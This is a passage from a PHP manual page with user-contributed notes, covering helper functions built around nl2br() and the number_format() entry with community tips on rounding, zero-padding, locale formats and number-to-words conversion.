06-Jun-2005 05:00
As stated in the manual above, PHP's nl2br() feature only puts a "<br />" tag before each newline ("\n"). So -- if you intend to code a br2nl() function for yourselves, all you have to do is remove every occurence of "<br />" or "<br>".

Rather than get into nasty regular expressions to accomplish this, just use what PHP has built in already --  str_replace():

<?php
   /* br2nl for use with HTML forms, etc. */
   function br2nl($text)
   {
       /* Remove XHTML linebreak tags. */
       $text = str_replace("<br />","",$text);
       /* Remove HTML 4.01 linebreak tags. */
       $text = str_replace("<br>","",$text);
       /* Return the result. */
       return $text;
   }
?>

The final result from this function being called is whatever was entered before XHTML/HTML linebreaks were added.

All newlines are preserved by default, as per PHP ln2br() specification. Since the code above preserves newlines also, you can expect your data to reappear in the same way it was entered.

Hope this helps.
kristen at paristemi dot com
16-May-2005 04:12
A note to add to the br2nl. Since nl2br doesn't remove the line breaks when adding in the <br /> tags, it is necessary to strip those off before you convert all of the tags, otherwise you will get double spacing. Here is the modified function:

function br2nl($str) {
   $str = preg_replace("/(\r\n|\n|\r)/", "", $str);
   return preg_replace("=<br */?>=i", "\n", $str);
}
sebastian at no spam flashhilfe.de
10-May-2005 11:16
// Convert only <br> <br /> and <br    /> to newline

function br2nl($str) {
   return preg_replace('=<br */?>=i', "\n", $str);
}

The Script at the bottom whit '!<br.*>!iU' match tags like <break> or something.
jochem at vuilnisbak dot com
03-Apr-2005 12:43
For people trying br2nl, but getting stuck at double newlines (or at least more then needed), try this:

<?php
function br2nl($coffee) {
   $coffee = str_replace("\r\n", "\n", $coffee); // make from windows-returns, *nix-returns
   $coffee = str_replace("<br />\n", "\n", $coffee); // to retrieve it
   return $coffee;
}
?>

The first thing \r\n is replacing linebreaks made on Windows systems. I believe *nix systems only place \n (not sure about it).

Have fun.

Jochem
webKami [at] akdomains.com
01-Apr-2005 08:54
here is the CSS friendly version, called nl2li_css()

Inputs a param css_class (default ="none") and pass it as class of All <li> List Items.

<?
function nl2li_css($str,$css_class = "none",$ordered = 0, $type = "1") {

//check if its ordered or unordered list, set tag accordingly
if ($ordered)
{
   $tag="ol";
   //specify the type
   $tag_type="type=$type";
}
else
{
   $tag="ul";
   //set $type as NULL
   $tag_type=NULL;
}

// add ul / ol tag
// add tag type
// add first list item starting tag - use css class
// add last list item ending tag
$str = "<$tag $tag_type><li class=\"$css_class\">" . $str ."</li></$tag>";

//replace /n with adding two tags
// add previous list item ending tag
// add next list item starting tag - use css class
$str = str_replace("\n","</li><br />\n<li class=\"$css_class\">",$str);

//spit back the modified string
return $str;
}
?>

Suggestions welcome again :)
webkami [at] gmail dout com
30-Mar-2005 11:42
A handy function to convert new line \n seprated text into ordered or unordered list. I am calling it nl2li, suggestions welcome. Second optional parameter sets the list as ordered (1) or unordered (0 = default). Third parameter can be used to specify type of ordered list, valid inputs are "1" = default ,"a","A","i","I".

function nl2li($str,$ordered = 0, $type = "1") {

//check if its ordered or unordered list, set tag accordingly
if ($ordered)
{
   $tag="ol";
   //specify the type
   $tag_type="type=$type";
}
else
{
   $tag="ul";
   //set $type as NULL
   $tag_type=NULL;
}

// add ul / ol tag
// add tag type
// add first list item starting tag
// add last list item ending tag
$str = "<$tag $tag_type><li>" . $str ."</li></$tag>";

//replace /n with adding two tags
// add previous list item ending tag
// add next list item starting tag
$str = str_replace("\n","</li><br />\n<li>",$str);

//spit back the modified string
return $str;
}
mike at openconcept dot ca
11-Mar-2005 02:02
There are other nl2p examples above, but think this one will provide nicer html.  Also threw in a very related br2p function for all of those folks who want to strip away the <br /> tags which give their designers the blues.

   /**
   * replacement for php's nl2br tag that produces more designer friendly html
   *
   * Modified from: http://www.php-editors.com/contest/1/51-read.html
   *
   * @param string $text
   * @param string $cssClass
   * @return string
   */
   function nl2p($text, $cssClass=''){

     // Return if there are no line breaks.
     if (!strstr($text, "\n")) {
         return $text;
     }

     // Add Optional css class
     if (!empty($cssClass)) {
         $cssClass = ' class="' . $cssClass . '" ';
     }

     // put all text into <p> tags
     $text = '<p' . $cssClass . '>' . $text . '</p>';

     // replace all newline characters with paragraph
     // ending and starting tags
     $text = str_replace("\n", "</p>\n<p" . $cssClass . '>', $text);

     // remove empty paragraph tags & any cariage return characters
     $text = str_replace(array('<p' . $cssClass . '></p>', '<p></p>', "\r"), '', $text);

     return $text;

   } // end nl2p

  /**
   * expanding on the nl2p tag above to convert user contributed
   * <br />'s to <p>'s so it displays more nicely.
   *
   * @param string $text
   * @param string $cssClass
   * @return string
   */
   function br2p($text, $cssClass=''){

     if (!eregi('<br', $text)) {
         return $text;
     }

     if (!empty($cssClass)) {
         $cssClass = ' class="' . $cssClass . '" ';
     }

     // put all text into <p> tags
     $text = '<p' . $cssClass . '>' . $text . '</p>';

     // replace all break tags with paragraph
     // ending and starting tags
     $text = str_replace(array('<br>', '<br />', '<BR>', '<BR />'), "</p>\n<p" . $cssClass . '>', $text);

     // remove empty paragraph tags
     $text = str_replace(array('<p' . $cssClass . '></p>', '<p></p>', "<p>\n</p>"), '', $text);

     return $text;
}

This is all code from Back-End CMS (http://www.back-end.org), a template based gpl php/mysql cms.

Mike
freedman AT freeformit . com
04-Mar-2005 08:45
here's a modified version that allows the addition of style tags to the <p> marker

function nl2p($str,$addtag='') {
   return str_replace('<p'.$addtag.'></p>', '', '<p'.$addtag.'>' . preg_replace('#\n|\r#', '</p>$0<p'.$addtag.'>', $str) . '</p>');
}

$x = "abc\ndef"
echo nl2p($x);  // outputs <p>abc</p>\n<p>def</p>

echo nl2p($x,' style="text-align:justify"');
// outputs <p style="text-align:justify">abc</p>\n<p style="text-align:justify">def</p>
asentis at gmail dot com
24-Feb-2005 09:06
If you want to respect W3C, you can use this function :

<?php
function nl2p($str)
{
  return str_replace('<p></p>', '', '<p>' . preg_replace('#\n|\r#', '</p>$0<p>', $str) . '</p>');
}
?>

Cya :)
CGameProgrammer at gmail dot com
31-Jan-2005 09:28
It's important to remember that this function does NOT replace newlines with <br> tags. Rather, it inserts a <br> tag before each newline, but it still preserves the newlines themselves! This caused problems for me regarding a function I was writing -- I forgot the newlines were still being preserved.

If you don't want newlines, do:

$Result = str_replace( "\n", '<br />', $Text );
18-Jan-2005 04:04
string nl2br_indent ( string string [, mixed indent] )

This function adds break tags before newlines as nl2br and also indents the text.
If indent is not specified, string will not be indented.

<?php

function nl2br_indent($string, $indent = 0)
{
   //remove carriage returns
   $string = str_replace("\r", '', $string);

   //convert indent to whitespaces if it is a integer.
   if (is_int($indent)) {
       //set indent to length of the string
       $indent = str_repeat(' ', (int)$indent);
   }

   //replace newlines with "<br />\n$indent"
   $string = str_replace("\n", "<br />\n".$indent, $string);
   //add  the indent to the first line too
   $string = $indent.$string;

   return $string;
}

?>

This is for example useful to indent text in html tags:

<?php

$str = 'Lorem ipsum dolor sit amet, consectetuer adipiscing elit.
In massa nunc, cursus eu, tincidunt in, eleifend non, enim. In ut felis. Nunc
scelerisque ante vel risus. Nulla quis metus non elit scelerisque tincidunt.'

echo '<html>'."\n";
echo '  <p>'."\n";
echo nl2br_indent($str, 4)."\n";
echo '  </p>'."\n";
echo '</html>'."\n";

?>

will return:

<html>
  <p>
   Lorem ipsum dolor sit amet, consectetuer adipiscing elit.<br />
   In massa nunc, cursus eu, tincidunt in, eleifend non, enim. In ut felis. Nunc<br />
   scelerisque ante vel risus. Nulla quis metus non elit scelerisque tincidunt.
  </p>
</html>

- $str is indented by 4 spaces.
spertica at tiscalinet dot it
14-Jan-2005 05:23
An easy way to get HTML formatted with <br> from a ASCII text file with CR & LF:

<?php
     $string_text=file_get_contents("/path_to/file.txt"); // load text file in var
     $new_text=nl2br($string_text); // convert CR & LF in <br> in newvar
     echo $new_text; // print out HTML formatted text
     unset($string_text, $new_text); // clear all vars to unload memory
 ?>
php at keithtyler dot com
06-Nov-2004 02:58
Take extreme care with nl2br(). It is a simple replacement function -- apparently equivalent to preg_replace("\n","<br \>\n").

It should not be used on input from HTML textareas, unless all HTML tags are stripped from the input first. nl2br() does not do anything special to newlines that occur within HTML elements (such as the <a> anchor tag).

Some browsers will submit textarea data with newlines inserted at the points where the user's input wrapped to the next line. This can cause anchor links to break and other erratic appearance of HTML:

<a <br \>href=http://us2.php.net/manual/en/function.nl2br.php>PHP nl2br()</a>

or worse:

<a href="http://www.site.com/user/page with <br />spaces.html">URL with spaces</a>

A lot of people use nl2br() to allow their users to insert explicit line and paragraph breaks via newlines, and their applications will exhibit this problem when used with such browsers.
php at sharpdreams dot com
06-Apr-2004 12:52
Better br2nl function (allows for non-valid XHTML tags). I find it useful for parsing 3rd party websites to convert their screwy BR formats to \n.

<?php
function br2nl( $data ) {
   return preg_replace( '!<br.*>!iU', "\n", $data );
}
?>
greywyvern - greywyvern - com
06-Feb-2004 05:11
Just a couple adjustments to the function below.

<?php

function nl2br_pre($string, $wrap = 40) {
  $string = nl2br($string);

  preg_match_all("/<pre[^>]*?>(.|\n)*?<\/pre>/", $string, $pre1);

  for ($x = 0; $x < count($pre1[0]); $x++) {
   $pre2[$x] = preg_replace("/\s*<br[^>]*?>\s*/", "", $pre1[0][$x]);
   $pre2[$x] = preg_replace("/([^\n]{".$wrap."})(?!<\/pre>)(?!\n)/", "$1\n", $pre2[$x]);
   $pre1[0][$x] = "/".preg_quote($pre1[0][$x], "/")."/";
  }

  return preg_replace($pre1[0], $pre2, $string);
}

?>

You might ask, why not just use:
<?php $string = str_replace("\n", "<br />", $string); ?>

... and prevent double spacing that way by actually *replacing* the \n with <br />, whereas nl2br() *inserts* a <br />.

Well, the answer is, doing it that way makes all the HTML output appear on a single line!  Ugly, to say the least.  The function above will keep your HTML source output formatted the same way you input it. :)
matt at mullenweg dot com
16-Oct-2002 11:23
I put together a little function to convert multiple line breaks into XHTML paragraph tags. It also changes newlines within the psuedo-paragraphs to <br />. This should be well suited to CMS where (in my case) you don't want the client to deal with *any* HTML but you still want proper paragraphs for your pages.

USAGE: You can write your text just like I have here, using the enter key as the only formatting tool. This can probably be made more efficient and I'll keep an updated (and unmangled) version of it at
http://www.photomatt.net/scripts/autop
add a note add a note

后退 | 起点 | 前进
nl_langinfo | 上一级 | number_format


number_format

(PHP 3, PHP 4, PHP 5)

number_format -- Format a number with grouped thousands

Description

string number_format ( float number [, int decimals [, string dec_point, string thousands_sep]] )

number_format() returns a formatted version of number. This function accepts either one, two or four parameters (not three):

If only one parameter is given, number will be formatted without decimals, but with a comma (",") between every group of thousands.

If two parameters are given, number will be formatted with decimals decimals with a dot (".") in front, and a comma (",") between every group of thousands.

If all four parameters are given, number will be formatted with decimals decimals, dec_point instead of a dot (".") before the decimals and thousands_sep instead of a comma (",") between every group of thousands.

Only the first character of thousands_sep is used. For example, if you use foo as thousands_sep on the number 1000, number_format() will return 1f000.

例子 1. number_format() Example

For instance, French notation usually use two decimals, comma (',') as decimal separator, and space (' ') as thousand separator. This is achieved with this line :

<?php

$number = 1234.56;

// english notation (default)
$english_format_number = number_format($number);
// 1,235

// French notation
$nombre_format_francais = number_format($number, 2, ',', ' ');
// 1 234,56

$number = 1234.5678;

// english notation without thousands seperator
$english_format_number = number_format($number, 2, '.', '');
// 1234.57

?>

See also: sprintf(), printf() and sscanf().

add a note add a note User Contributed Notes
04-Jun-2006 03:55
The modification to number_format below does what I actually want it to do, with currency, for example. I want it to show $1.40 and not $1.4 or $1.400 - except in the rare case where I have $1.435 for something, in which case I *don't* want it to round. The ugliness below serves my purpose.

function nof($number,$decimals) {
if (number_format($number,$decimals,'.',',') != $number) {
       return $number;
} else {
       return number_format($number,$decimals,'.',',');
       }
}
shpoffo .a.t.. g mail ...
01-Jun-2006 12:31
For those that need to print the word-form of a number ("twenty-three" instead of "23") I've found the following code to be useful.  This code is an improvement upon that posted in 2004 by armstrong @ rice.  Notably, the previous code did not properly compute large numbers (at least in PHP 4.x that I tested).

The following code adds another variable to the function, which controls the display of fractional parts, and properly calculates values one thousand and above.

Zak
~ ~ ~

function num2words($num, $c=1) {
   $ZERO = 'zero';
   $MINUS = 'minus';
   $lowName = array(
         /* zero is shown as "" since it is never used in combined forms */
         /* 0 .. 19 */
         "", "one", "two", "three", "four", "five",
         "six", "seven", "eight", "nine", "ten",
         "eleven", "twelve", "thirteen", "fourteen", "fifteen",
         "sixteen", "seventeen", "eighteen", "nineteen");

   $tys = array(
         /* 0, 10, 20, 30 ... 90 */
         "", "", "twenty", "thirty", "forty", "fifty",
         "sixty", "seventy", "eighty", "ninety");

   $groupName = array(
         /* We only need up to a quintillion, since a long is about 9 * 10 ^ 18 */
         /* American: unit, hundred, thousand, million, billion, trillion, quadrillion, quintillion */
         "", "hundred", "thousand", "million", "billion",
         "trillion", "quadrillion", "quintillion");

   $divisor = array(
         /* How many of this group is needed to form one of the succeeding group. */
         /* American: unit, hundred, thousand, million, billion, trillion, quadrillion, quintillion */
         100, 10, 1000, 1000, 1000, 1000, 1000, 1000) ;

   $num = str_replace(",","",$num);
   $num = number_format($num,2,'.','');
   $cents = substr($num,strlen($num)-2,strlen($num)-1);
   $num = (int)$num;

   $s = "";

   if ( $num == 0 ) $s = $ZERO;
   $negative = ($num < 0 );
   if ( $negative ) $num = -$num;
   // Work least significant digit to most, right to left.
   // until high order part is all 0s.
   for ( $i=0; $num>0; $i++ ) {
       $remdr = (int)($num % $divisor[$i]);
       $num = $num / $divisor[$i];
       // check for 1100 .. 1999, 2100..2999, ... 5200..5999
       // but not 1000..1099,  2000..2099, ...
       // Special case written as fifty-nine hundred.
       // e.g. thousands digit is 1..5 and hundreds digit is 1..9
       // Only when no further higher order.
       if ( $i == 1 /* doing hundreds */ && 1 <= $num && $num <= 5 ){
           if ( $remdr > 0 ){
               $remdr = ($num * 10);
               $num = 0;
           } // end if
       } // end if
       if ( $remdr == 0 ){
           continue;
       }
       $t = "";
       if ( $remdr < 20 ){
           $t = $lowName[$remdr];
       }
       else if ( $remdr < 100 ){
           $units = (int)$remdr % 10;
           $tens = (int)$remdr / 10;
           $t = $tys [$tens];
           if ( $units != 0 ){
               $t .= "-" . $lowName[$units];
           }
       }else {
           $t = num2words($remdr, 0);
       }
       $s = $t." ".$groupName[$i]." ".$s;
       $num = (int)$num;
   } // end for
   $s = trim($s);
   if ( $negative ){
       $s = $MINUS . " " . $s;
   }

   if ($c == 1) $s .= " and $cents/100";

   return $s;
} // end num2words
ck at vowel dot se
26-May-2006 06:11
Again, the function for returning file size in human readable format, but with a tweek for displaying one decimal when size is less than 10 units.

<?php
function human_readable( $size )
{
   $count = 0;
   $format = array("B","KB","MB","GB","TB","PB","EB","ZB","YB");
   while(($size/1024)>1 && $count<8)
   {
       $size=$size/1024;
       $count++;
   }
   if( $size < 10 ) $decimals = 1;
   else $decimals = 0;
   $return = number_format($size,$decimals,'.',' ')." ".$format[$count];
   return $return;
}
?>

Thanks to "php dot net at alan-smith dot no-ip dot com" and "service at dual-creators dot de".
rudie at jouwmoeder dot nl
22-May-2006 05:30
number_format is pretty fast. It's much slower than calculation though:
<?php

$start = microtime(true);

echo "<pre>";
for ($i=0;$i<100000;$i++)
{
   echo number_format(microtime(true)-$start,25)."\n";
}
echo "<hr />Parsetime: ".(microtime(true)-$start);

?>
This takes 1.03 seconds all the time. Without the -$start in the number_format cmd, it takes exactly as long (I ran it about 20 times).
The simple calculation inside number_format takes relatively no time. Defining the number before entering it into number_format also gives no change:
{
   $num = microtime(true)-$start;
   echo number_format($num,25)."\n";
}

Which concludes it takes about .01 sec to do a thousand number_format.
If you'd do the same routine without the number_format, it'd take .75 seconds -> number_format very fast!
gfinale at hotmail dot com
15-May-2006 01:58
Thanks to armstrong ~~at~~ rice ~~dot~~ edu for your number to words function.  There does seem to be one glitch I've discovered, at least on my system.  Hundreds work but hundreds of thousands and hundreds of millions do not.  e.g. 100,000 or 100,000,000 hangs.
chris_cember at cinmach dot com
16-Mar-2006 05:40
// the mktime shortcut is a little trickier than it would first appear, even with a mod...

function text_number($n) {
   $mod = $n % (($n > 20)?10:20);
   return $n . (($mod==0)?"th":date("S",mktime(0,0,0,1,$mod,2000)));
}

// or for those who don't appreciate shorthand:

function text_number($n) {
   if ($n > 20) {
       $mod_factor = 10;
   } else {
       $mod_factor = 20;
   }
   $mod = $n % $mod_factor;
   if ($mod == 0) {
       $txt = "th";
   } else {
       $txt = date("S",mktime(0,0,0,1,$mod,2000));
   }
   return $n . $txt;
}

/*
one issue comes up in numbers that mod to zero (which mktime will associate with the 31st of December, 1999).  another issue is between 23rd and 13rd, err I mean 13th.  If you use 20 (or even 30) all the time, however, you'll end up with 33th (or 43th).
*/
Steve Neill
04-Mar-2006 08:04
actually, you'd want to MOD the number to get it within a useful range first (1 .. 30).

Enjoy.
Steve Neill
04-Mar-2006 06:15
why go to all that trouble?

date('S', mktime(0,0,0,1,$str,2000));

works just as well!
mikesabatino at gmail dot com
01-Mar-2006 11:34
<?php
# Function to represent a number like '2nd', '10th', '101st' etc
function text_number($n)
{
   # Array holding the teen numbers. If the last 2 numbers of $n are in this array, then we'll add 'th' to the end of $n
   $teen_array = array(11, 12, 13, 14, 15, 16, 17, 18, 19);

   # Array holding all the single digit numbers. If the last number of $n, or if $n itself, is a key in this array, then we'll add that key's value to the end of $n
   $single_array = array(1 => 'st', 2 => 'nd', 3 => 'rd', 4 => 'th', 5 => 'th', 6 => 'th', 7 => 'th', 8 => 'th', 9 => 'th', 0 => 'th');

   # Store the last 2 digits of $n in order to check if it's a teen number.
   $if_teen = substr($n, -2, 2);

   # Store the last digit of $n in order to check if it's a teen number. If $n is a single digit, $single will simply equal $n.
   $single = substr($n, -1, 1);

   # If $if_teen is in array $teen_array, store $n with 'th' concantenated onto the end of it into $new_n
   if ( in_array($if_teen, $teen_array) )
   {
       $new_n = $n . 'th';
   }
   # $n is not a teen, so concant the appropriate value of it's $single_array key onto the end of $n and save it into $new_n
   elseif ( $single_array[$single] )
   {
       $new_n = $n . $single_array[$single];
   }

   # Return new
   return $new_n;
}
?>
MarcM
21-Feb-2006 02:03
For Zero fill - just use the sprintf() function

$pr_id = 1;
$pr_id = sprintf("%03d", $pr_id);
echo $pr_id;

//outputs 001
-----------------

$pr_id = 10;
$pr_id = sprintf("%03d", $pr_id);
echo $pr_id;

//outputs 010
-----------------

You can change %03d to %04d, etc.
adnan 'at' barakatdesigns 'dot' net
30-Jan-2006 11:43
Just a note to the author of the "zerofill" function, you may find it easier using the str_pad function

<?php
$num = 4;
$zerofill = 3;

echo str_pad($num, $zerofill, "0", STR_PAD_LEFT);

/* Returns the same wanted result of '004' */
?>
versae arroba gmail punto com
24-Jan-2006 07:17
A modification for kolnedra's function

<?

function humanReadable($val, $miles = 0){
   if($val>=1000)
       $val = humanReadable($val / 1024, ++$miles);
   else {
       $unidad = array('','K','M','G','T','P','E','Z','Y',
       'X','W','V','U','TD','S','R',
       'Q','PP','O','N','MI','L');
       $val = round($val, 2).$unidad[$miles].'B';
   }
   return $val;
}

?>
21-Jan-2006 04:48
A function to return a number with needed zeros at the beginning. Called "zerofill"

<?php
// $num = 4; $zerofill= 3; returns "004"
function zerofill ($num,$zerofill) {
   while (strlen($num)<$zerofill) {
       $num = "0".$num;
   }
   return $num;
}
?>
YumYum
11-Jan-2006 02:19
Jarrat's example below has a problem.  If the number is negative, the sign is dropped.  It always returns positive numbers.  The problem seems to be in the float cast in:

return (float) $number[0].'.'.$decimal;

I have not had a problem in PHP5 with:

return $number[0].'.'.$decimal;
Sprille
22-Dec-2005 12:45
as response to mike at phpeeb dot com.

You can do aritmetic even on strings, you just need a little function to sort it out like this :

function str2no($number){
  $number = str_replace(".", "", $number);
  $number = str_replace(",", ".", $number);
  return $number;
}

function no2str($number){
  $number = number_format($number,2, ',', '.');
  return $number;
}

echo no2str(str2no("1.200,50")*3);

// we use 1200.50 as input "1.200,50" is the danish string for this number
//this will output 3601.50 with right formatting = 3.601,50 as string
//nice to know when dealing with money.
kolnedra at gmail dot com
10-Oct-2005 09:28
A way to let a number (in this case an ammount of money) be shown in dutch annotation:
<?
// geld(123) >>> 123
// geld(123456) >>> 1.234.567
function geld($nm) {
   for ($done=strlen($nm); $done > 3;$done -= 3) {
       $returnNum = ".".substr($nm,$done-3,3).$returnNum;
   }
   return substr($nm,0,$done).$returnNum;
}
?>
mikro_at_teppisti_dot_it
05-Oct-2005 07:04
This function formats numbers 'human readable' better (IMHO) than mircea way:

function humanReadable($val,$thousands=0){
   if($val>=1000)
     $val=humanReadable($val/1024,++$thousands);
   else{
     $unit=array('','K','M','T','P','E','Z','Y');
     $val=round($val,2).$unit[$thousands].'B';
   }
   return $val;
 }
Jeroen de Bruijn [NL]
02-Oct-2005 06:02
If you want to display a number ending with ,- (like 200,-) when there are no decimal characters and display the decimals when there are decimal characters i use:

function DisplayDouble($value)
  {
  list($whole, $decimals) = split ('[.,]', $value, 2);
  if (intval($decimals) > 0)
   return number_format($value,2,".",",");
  else
   return number_format($value,0,".",",") .",-";
  }
aj at hotmail dot com
01-Oct-2005 12:18
In responce to astrolox;

This is because the numbers generated by performing math are double precision (which means pretty darn accurate) and not perfect precision (which would be what you get when you do the math on paper). For example 483.00 * 0.175 equals 84.525 on paper, but the computer can't do math with perfect precision and ends up with something like 84.52499999...

If dealing with money the best practice is to perform round() on your floating point numbers and always round up to the nearest cent, or add something small like .000001 before using number_format(). Personally I prefer to round().
astrolox at lawyersonline dot co dot uk
01-Aug-2005 11:34
Users should be aware of the following behaviour.
I'm not sure if this is a PHP bug, libc bug, or if it's even a bug at all. So I thought I'd make a comment and allow everyone else to make up their own minds.

FreeBSD 4.3 PHP 4.3.3

<?php

// the comments show the output generated by this script

echo "input 8.525 output = ". number_format( 8.525, 2, '.', "") ."\n";
echo "input 8.525 output = ". number_format(8.525, 2, '.', "") ."\n";

// input 8.525 output = 8.53
// input 8.525 output = 8.53

$a = 483.00;
$b = 0.175;

$c = $a * $b;

echo "input \$c = $c type ". gettype($c) ." output = ". number_format( $c, 2, '.', "") ."\n";

// input $c = 84.525 type double output = 84.52

$d = 17.5;

$e = ( $a / 100 ) * $d;

echo "input \$e = $e type ". gettype($e) ." output = ". number_format( $e, 2, '.', "") ."\n";

// input $e = 84.525 type double output = 84.53

echo "input 63.745 output = ". number_format(63.745, 2, '.', "") ."\n";
echo "input 64.745 output = ". number_format(64.745, 2, '.', "") ."\n";
echo "input 65.745 output = ". number_format(65.745, 2, '.', "") ."\n";

// input 63.745 output = 63.74
// input 64.745 output = 64.75
// input 65.745 output = 65.75

?>
jarratt at si-works dot net
15-Jul-2005 06:06
With one of the payment providers they required a monitary input of 12345.67 always with a 2 decimal placing even if .00

if you have a number 12345.5 with only one decimal place i could find no sutable php function to guarentee two decimal palces and add a trailing zero if required,

This fucntion should assist

function format_number($str,$decimal_places='2',$decimal_padding="0"){
       /* firstly format number and shorten any extra decimal places */
       /* Note this will round off the number pre-format $str if you dont want this fucntionality */
       $str          =  number_format($str,$decimal_places,'.','');    // will return 12345.67
       $number      = explode('.',$str);
       $number[1]    = (isset($number[1]))?$number[1]:''; // to fix the PHP Notice error if str does not contain a decimal placing.
       $decimal    = str_pad($number[1],$decimal_places,$decimal_padding);
       return (float) $number[0].'.'.$decimal;
}

/* examples */

format_number('1234');      // -->  1234.00
format_number('1234.5');    //-->  1234.50
format_number('1234.567');  //-->  1234.57
marc dot vanwoerkom at fernuni-hagen dot de
14-Jul-2005 09:53
See also the documentation for localeconv, which will provide values for decimal point and thousands separator from the C standard library.

Of course localeconv features many more locale information, like indicating to put the negative sign behind the value for some locale settings which can't be used to customize present number_format.
venimus777 at yahoo dot com
08-Jun-2005 08:25
You could use the following regular expression to divide
a number into parts:

$1-number without fractal part
$2-fractal part
$3-first 2 digits of the fractal part
$4-rest of the fractal part

the regex removes any leading and trailing symbols and leading zeros. It doesnt validate the number, so 12 41 is considered to be correct input!

english notation:
/^.*?[0]*([\d\s]+)(([\.][\d]{0,2})([\d]*))?.*?$/

french notation:
/^.*?[0]*([\d\s]+)(([\,][\d]{0,2})([\d]*))?.*?$/

<?php
// truncate the fractal part up to 2 digits of an "english number":
$number = '01,234.50789';
$trunc = preg_replace(
   '/^.*?[0]*([\d\,]+)(([\.][\d]{0,2})([\d]*))?.*?$/',
   '$1$3',
   $number
);
echo $trunc;
?>

Outputs:
1,234.50

$number='e00012 41.100001e-4fasfd';
would output:
12 41.10
woodynadobhar at hotmail dot com
18-May-2005 12:04
What do you do if some of your numbers have decimal places, and some don't?  You can switch between functions, but if you're building it in a loop, that's not a good solution.  Instead, we have the same as below, with a slight change:

function number_format_unlimited_precision($number,$decimal = '.'){
   $broken_number = explode($decimal,$number);
   if($broken_number[1]==0){
       return number_format($broken_number[0]);
   }else{
       return number_format($broken_number[0]).$decimal.$broken_number[1];
   };
};
stm555 at hotmail dot com
27-Apr-2005 11:54
I ran across an issue where I wanted to keep the entered precision of a real value, without arbitrarily rounding off what the user had submitted.

I figured it out with a quick explode on the number before formatting. I could then format either side of the decimal.

<?php
     function number_format_unlimited_precision($number,$decimal = '.')
     {
           $broken_number = explode($decimal,$number);
           return number_format($broken_number[0]).$decimal.$broken_number[1];
     }
?>
mike at phpeeb dot com
02-Apr-2005 05:13
Since number_format returns a string, you must perform all mathmatical functions on the number before applying number_format:

<?
$total = 100;
$total = number_format($total, 2);
$shipping = 20.00;
$grand_total = $total + $shipping;

echo number_format($grand_total, 2);

/* The above will return 21.00 because $total is now a string, and no longer an integer or float. Since a string will have a value of 1,  the addition of the two will return 21 and not 120. */

$total = 100;
$shipping = 20.00;
$grand_total = $total + $shipping;

echo number_format($grand_total, 2);

/* This works, and will return 120.00 as intended */

?>
php at mijav dot dk
31-Mar-2005 10:25
A bug was issued that -0,00 is invalid output from number_format(), but the bug was rejected since the number "-0.0000000000000000001E-999 is about -0". And the developer felt this was correct output.

Please beware of negative numbers close to zero, as they might produce this unusable (and in my opinion incorrect/off-description) output.
ChronoFish
24-Mar-2005 03:14
I was looking for an easy way to take a number (or string) and force into a specific format.  I came up with.  I apologize if this is redundant, but I could not find a simular function:

/***********************************
* string_format
***********************************/
function string_format($format, $string, $placeHolder = "#")
{
   $numMatches = preg_match_all("/($placeHolder+)/", $format, $matches);
   foreach ($matches[0] as $match)
   {
       $matchLen = strlen($match);
       $format = preg_replace("/$placeHolder+/", substr($string, 0, $matchLen), $format, 1);
       $string = substr($string, $matchLen);
   }
   return $format;
}

To Use:

print string_format("(###)###-####", "4015551212");
will print out:
(401)555-1212

Hope this helps someone,

CF
tonywebman at NOSPAM dot telusplanet dot net
24-Feb-2005 05:14
While trying to add variables whose values had been processed with number_format() I found an interesting gotcha. Perhaps this might help others.

Since number_format() returns a string, numbers returned that DO NOT have a comma in them will still be added but numbers that DO have a comma will not be added because PHP considers them a string and ignores them.

e.g. #1
$quant_mag = 1;
$cost_mag = 100;
$quant_ffr = 1
$cost_ffr = 100;

$ext_mag = number_format($quant_mag * $cost_mag,2);
$ext_ffr = number_format($quant_ffr * $cost_ffr,2);

$total_cost = $ext_mag + $ext_ffr;

// $total cost is: 200

e.g. #2
$quant_mag = 10;
$cost_mag = 100;
$quant_ffr = 1
$cost_ffr = 100;

$ext_mag = number_format($quant_mag * $cost_mag,2);
$ext_ffr = number_format($quant_ffr * $cost_ffr,2);

$total_cost = $ext_mag + $ext_ffr;
// $total cost is: 100 (not 1100 as you would expect) because $ext_mag is ignored because php interprets its value (1,000) as a string so it won't add it to $ext_ffr.
keyg at auralplanet dot com
23-Nov-2004 10:56
if you want &nbsp; as a separator and use windows charset this piece of code may help:

<?php
$number=number_format($number,2,'.',chr(0xA0));
?>
brandonprudent at yahoo dot com
11-Oct-2004 02:52
To convert numbers to thier textual representations, you can use an adapted version of the Number::Spell Perl module. The PHP conversion can be found here: http://pear.php.net/package/Numbers_Words
GeekPrices Dot Com
07-Oct-2004 08:57
this also works as well

$number = "29346.99"; //value
echo "$" .number_format($number, 2, '.', ',');

produces $29,346.99
Svein Tjonndal (sveint at yahoo dot com)
15-Sep-2004 10:18
If you use space as a separator, it will break on that space in HTML tables...

Furthermore, number_format doesn't like '&nbsp;' as a fourth parameter. I wrote the following function to display the numbers in an HTML table.

  function numberfix($number)
  {
   $number = number_format($number,0,","," ");
   return str_replace(" ", "&nbsp;", $number);
  }

For use in:
<table><tr><td><?php echo $number; ?></td></tr></table>
drew at zitnay dot com
18-Aug-2004 02:17
A more reliable and concise way of doing what S. Rahmel was trying to do below is as follows:

<?php
$field_inhalt = str_replace(array(".", ","), array("", "."), $field_inhalt);
?>

The str_replace() call will first replace all dots with blanks, and then replace all commas with dots.  That way, it doesn't break down when you try a number over one million (i.e. 1.010.453,21).

Drew
mircea at vtds dot co dot uk
03-Jun-2004 12:57
This function formats numbers 'human readable':

function byte_format($input, $dec=0)
{
  $prefix_arr = array(" B", "K", "M", "G", "T");
  $value = round($input, $dec);
  $i=0;
  while ($value>1024)
  {
     $value /= 1024;
     $i++;
  }
  $return_str = round($value, $dec).$prefix_arr[$i];
  return $return_str;
}
S. Rahmel
12-Mar-2004 06:47
if you converted a number to a German format with number_format() and want to save it in mySQL, you first have to change the number format back to an English format.

For example
10.453,21 >>>> 10453.21

Here is an example how to do this:

   $field_array=explode(".", $field_inhalt);
   $field_inhalt=$field_array[0].$field_array[1];
   $foeld_array=explode(",", $field_inhalt);
   $field_inhalt=$field_array[0].".".$feld_array[1];
   $field_inhalt=sprintf($field_inhalt, 2);

$field_inhalt is the variable of the actual number you want to change to the english format.
chandu at chandu dot org
08-Mar-2004 09:29
People here in India are more used to counting money in Lakhs & Crores .. so here is the code for formatting the commas with thousands for the first time and then with hundred multiples from there after.

Ex: 1234567  ->  12,34,567

<?php

function makecomma($input)
{
   // This function is written by some anonymous person - I got it from Google
   if(strlen($input)<=2)
   { return $input; }
   $length=substr($input,0,strlen($input)-2);
